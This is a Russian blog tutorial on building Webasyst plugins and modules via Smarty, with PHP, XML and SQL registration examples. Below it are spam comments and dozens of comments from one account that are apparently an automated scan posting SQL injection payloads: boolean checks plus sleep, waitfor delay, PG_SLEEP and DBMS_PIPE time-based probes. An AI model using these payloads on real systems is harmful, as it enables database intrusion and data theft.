Webasyst - движок, использующий Smarty в качестве шаблонизатора. Cвои функции всё равно можно писать, через интерфейс плагинов Smarty. Плюсы этого способа - простота освоения и лёгкая инсталляция. Минусы - из таких плагинов не работают множество полезных и удобных функций движка, которые при написании плагина сэкономили бы вам кучу времени, а так же, не оправданно сложная развёртка сложных структур. В этом мануале, я так же рассмотрю интерфейс самого движка, в котором работают все функции, используются классы и объекты, а установка сложнее. Я использовал при написании этого материала Webasyst версии 285. Для того, чтобы создать свой плагин, используя интерфейс Smarty, достаточно создать файл function.имяПлагина.php в директории /kernel/includes/smarty/plugins с таким содержанием:
  1. <?php
  2. function smarty_function_имяПлагина( $params, &$smarty )
  3. {
  4.         echo 'Hello World!';
  5. }
  6. ?>
После этого в шаблон можно вставить тег {имяПлагина}, при выводе, он будет заменён на "Hello World!". Если нужно передать функции параметр, можно использовать массив $params. В коде шаблона: {имяПлагина var="Hello World!"} В коде плагина:
  1. <?php
  2. function smarty_function_имяПлагина( $params, &$smarty )
  3. {
  4.         echo $params['var'];
  5. }
  6. ?>
Впринципе, не возбраняется использование классов и объектов
  1. <?php
  2. function smarty_function_имяПлагина( $params, &$smarty )
  3. {
  4. require_once ('register_form.class.php');
  5.  
  6. $frm = new frm_reg ();
  7. $frm->display();
  8. }
  9. ?>
require_once здесь используется не случайно. Бывают случаи, когда смарти из-за кеша пытается загрузить файл повторно, что приводит к ошибке. Но главный недостаток остаётся всё равно - из этого интерфейса многие функции движка остаются недоступны. (например db_fetch_row()), поэтому переходим к интерфейсу движка. Создадим папку нашего модуля. Делается это по адресу $app_root/html/scripts/modules, где $app_root - путь до установленного приложения на платформу Webasyst (например у shop-script полный путь будет выглядеть так /published/SC/html/scripts/modules/). Назовём её новыйМодуль. Теперь необходимо создать XML файл с именем connector.новыйМодуль.xml, с содержанием:
  1. <Connector>
  2.         <Class>
  3.                 <Name>новыйМодуль</Name>
  4.                 <File>class.новыйМодуль.php</File>
  5.                 <Title>Любое название</Title>
  6.                 <Description>Любое описание</Description>
  7.                 <SingleInstallation>true</SingleInstallation>
  8.         </Class>
  9. </Connector>
Как уже, наверняка стало понятно, в той же папке создаём класс модуля. class.новыйМодуль.php:
  1. class Modulename extends ComponentModule  {
  2.        
  3.         function initInterfaces(){
  4.                 $this->__registerComponent('modulename', 'Любое название', array('general_layout', 'home_page'), 'methodFShowModule');
  5.         }
  6.  
  7.         function methodFShowModule(){
  8.                 $Register = &Register::getInstance();
  9.                 $smarty = &$Register->get(VAR_SMARTY);
  10.                 //передаём переменные в шаблон. может быть массивом
  11.                 $smarty->assign("vars", 'Hello World!');
  12.                //грузим файл шаблона
  13.                 $smarty->display('новыйМодуль.tpl.html');
  14.         }
  15.  
  16.         function exec () {
  17.         //любые действия...
  18.         echo 'Hello World!';
  19.         }
  20. }
Опять же, создаём шаблон Smarty, в директории templates, с названием файла новыйМодуль.tpl.html. Остаётся только зарегистрировать новый модуль в базе.
INSERT INTO `SC_modules` SET `ModuleVersion`=1, `ModuleClassName`='новыйМодуль', `ModuleClassFile`='/новыйМодуль/class.новыйМодуль.php'
Поскольку идентификатор добавленной позиции добавляется autoincrement'ом, нужно его узнать.
SELECT `ModuleID` FROM `SC_modules` WHERE `ModuleClassName`='новыйМодуль';
Полученное число подставляем в следующий запрос.
INSERT INTO `SC_module_configs` SET `ModuleID`=полученное_ранее_число, `ConfigKey`='новыйМодуль', `ConfigInit`=1002, `ConfigEnabled`=1;
Опять узаём ID. На это раз, для удобства и понимания назовём полученное число "ID" и подставим его в следующий запрос.
SELECT `ModuleConfigID` FROM `SC_module_configs` WHERE `ModuleID`=полученное_ранее_число;
INSERT INTO `SC_interface_interfaces` SET `xInterfaceCaller`='51_cpt_connector', `xInterfaceCalled`='ID_новыйМодуль';
Если всё сделано правильно, в шаблон можно будет вставить тег {cpt_новыйМодуль}.


Нет аватара

Edgardoclaws 17 Junя в 21:06 #

Seriously quite a lot of superb material. good online casinos usa casino games online online casino bonus 10 euro deposit

Нет аватара

Edgardoclaws 17 Junя в 21:06 #

Seriously quite a lot of superb material. good online casinos usa casino games online online casino bonus 10 euro deposit

TtyaBlefe

TtyaBlefe 06 Augustа в 16:57 #

Портал предлагает рецепты с расчетом на разное количество персон. Можно легко увеличить или уменьшить пропорции без нарушения технологии. titaya.kherson.ua

TtyaBlefe

TtyaBlefe 06 Augustа в 16:57 #

Портал предлагает рецепты с расчетом на разное количество персон. Можно легко увеличить или уменьшить пропорции без нарушения технологии. titaya.kherson.ua

nEcdyGgx

nEcdyGgx 13 Augustа в 18:33 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1 OR 2+117-117-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1 OR 3+117-117-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1 OR 3*2>(0+5+117-117) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1 OR 2+229-229-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1 OR 3+229-229-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1 OR 3*2>(0+5+229-229)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1' OR 2+777-777-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1' OR 3+777-777-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1' OR 3*2>(0+5+777-777) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1' OR 2+781-781-1=0+0+0+1 or '1SDdToQ0'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1' OR 3+781-781-1=0+0+0+1 or '1SDdToQ0'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1' OR 3*2>(0+5+781-781) or '1SDdToQ0'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1" OR 2+357-357-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1" OR 3+357-357-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1" OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1" OR 3*2>(0+5+357-357) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

if(now()=sysdate(),sleep(15),0)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1); waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

1 waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

nUuFz7lL'; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-5 OR 360=(SELECT 360 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-5) OR 89=(SELECT 89 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1)) OR 548=(SELECT 548 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

HP29hUmW' OR 490=(SELECT 490 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

y9Kkb1Qf') OR 22=(SELECT 22 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

VsVbg2IZ')) OR 28=(SELECT 28 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

1'"

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

@@G3AUO

nEcdyGgx

nEcdyGgx 13 Augustа в 18:37 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

-1 OR 2+180-180-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

-1 OR 3+180-180-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

-1 OR 3*2>(0+5+180-180) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

-1 OR 2+371-371-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

-1 OR 3+371-371-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

-1 OR 3*2>(0+5+371-371)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

-1' OR 2+151-151-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

-1' OR 3+151-151-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

-1' OR 3*2>(0+5+151-151) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

-1' OR 2+100-100-1=0+0+0+1 or 'PjBbPthD'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

-1' OR 3+100-100-1=0+0+0+1 or 'PjBbPthD'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

-1' OR 3*2>(0+5+100-100) or 'PjBbPthD'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

-1" OR 2+453-453-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

-1" OR 3+453-453-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

-1" OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

-1" OR 3*2>(0+5+453-453) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

if(now()=sysdate(),sleep(15),0)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

-1; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

-1); waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

1 waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

6nMCdy62'; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

-5 OR 457=(SELECT 457 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

-5) OR 840=(SELECT 840 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

-1)) OR 446=(SELECT 446 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

x9kdEW4R' OR 820=(SELECT 820 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

OgTex0hJ') OR 949=(SELECT 949 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

c8f4vmc1')) OR 72=(SELECT 72 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

1'"

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

@@a3Ewi

nEcdyGgx

nEcdyGgx 13 Augustа в 18:54 #

555


Войдите или зарегистрируйтесь, чтобы написать комментарий.